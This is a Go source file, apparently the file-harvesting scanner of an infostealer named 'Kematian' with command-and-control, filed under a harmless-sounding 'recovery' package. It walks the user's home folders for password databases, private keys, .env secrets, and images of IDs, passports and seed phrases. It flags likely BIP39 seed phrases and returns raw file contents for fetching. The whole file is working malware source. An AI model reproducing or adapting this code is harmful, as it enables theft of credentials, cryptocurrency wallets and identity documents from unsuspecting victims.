Files
kematianc2/Kematian-Standalone/native/recovery/scanner/files.go
T
2026-08-27 11:23:01 -06:00

171 lines
4.0 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package scanner
import (
"fmt"
"os"
"path/filepath"
"strings"
"recovery/recovery/types"
)
const (
maxFiles = 500
maxScanDepth = 3
maxFileSizeList = 100 * 1024 * 1024 // 100 MB — skip larger files from listing
MaxFetchSize = 10 * 1024 * 1024 // 10 MB — max content returned per fetch
)
var targetExtensions = map[string]bool{
// Office documents
".docx": true, ".doc": true, ".docm": true,
".xlsx": true, ".xls": true, ".xlsm": true,
".pptx": true, ".ppt": true, ".pptm": true,
".odt": true, ".ods": true, ".odp": true,
// Plain text / markup
".txt": true, ".rtf": true, ".md": true,
".csv": true, ".tsv": true,
// PDFs
".pdf": true,
// Archives (metadata only — content not fetched automatically)
".zip": true, ".7z": true, ".rar": true, ".tar": true, ".gz": true,
// Credential / key files
".kdbx": true, ".key": true, ".pem": true,
".p12": true, ".pfx": true, ".ppk": true, ".jks": true,
// Dotenv — commonly stores API keys and secrets
".env": true,
// Images — IDs, passports, screenshots of credentials, seed phrases
".jpg": true, ".jpeg": true, ".png": true, ".gif": true,
".bmp": true, ".webp": true, ".tiff": true, ".tif": true,
".heic": true, ".heif": true,
}
// seedPhraseLengths are the BIP39 word counts we consider suspicious.
var seedPhraseLengths = map[int]bool{12: true, 20: true, 24: true}
type scanLocation struct {
subPath string
label string
}
// ScanFiles walks common user locations and returns matching file metadata.
// At most maxFiles results are returned. Files larger than maxFileSizeList are skipped.
func ScanFiles() []types.FileResult {
home, _ := os.UserHomeDir()
if home == "" {
return nil
}
var results []types.FileResult
seen := make(map[string]bool)
for _, loc := range getScanLocations() {
dir := filepath.Join(home, loc.subPath)
scanDir(dir, loc.label, 0, &results, seen)
if len(results) >= maxFiles {
break
}
}
return results
}
func scanDir(dir, label string, depth int, results *[]types.FileResult, seen map[string]bool) {
if depth > maxScanDepth || len(*results) >= maxFiles {
return
}
entries, err := os.ReadDir(dir)
if err != nil {
return
}
for _, e := range entries {
if len(*results) >= maxFiles {
return
}
name := e.Name()
// skip hidden / system files
if strings.HasPrefix(name, ".") || strings.HasPrefix(name, "$") {
continue
}
fullPath := filepath.Join(dir, name)
if e.IsDir() {
scanDir(fullPath, label, depth+1, results, seen)
continue
}
ext := strings.ToLower(filepath.Ext(name))
if !targetExtensions[ext] {
continue
}
if seen[fullPath] {
continue
}
seen[fullPath] = true
info, err := e.Info()
if err != nil {
continue
}
if info.Size() > maxFileSizeList {
continue
}
var tags []string
if contentTags := contentFileTags(fullPath, ext, info.Size()); len(contentTags) > 0 {
tags = contentTags
}
*results = append(*results, types.FileResult{
Path: fullPath,
Name: name,
Ext: ext,
Size: info.Size(),
Modified: info.ModTime().Unix(),
Dir: label,
Tags: tags,
})
}
}
// looksLikeSeedLine returns true if every word is 38 lowercase letters.
// BIP39 words are exclusively lowercase az with lengths in that range.
func looksLikeSeedLine(words []string) bool {
if !seedPhraseLengths[len(words)] {
return false
}
for _, w := range words {
if len(w) < 3 || len(w) > 8 {
return false
}
for _, c := range w {
if c < 'a' || c > 'z' {
return false
}
}
}
return true
}
// FetchFile reads a file and returns its raw bytes.
// Returns an error if the file exceeds MaxFetchSize or does not exist.
func FetchFile(path string) ([]byte, error) {
info, err := os.Stat(path)
if err != nil {
return nil, fmt.Errorf("file not found")
}
if info.IsDir() {
return nil, fmt.Errorf("path is a directory")
}
if info.Size() > MaxFetchSize {
return nil, fmt.Errorf("file too large (%d bytes, max %d)", info.Size(), MaxFetchSize)
}
return os.ReadFile(path)
}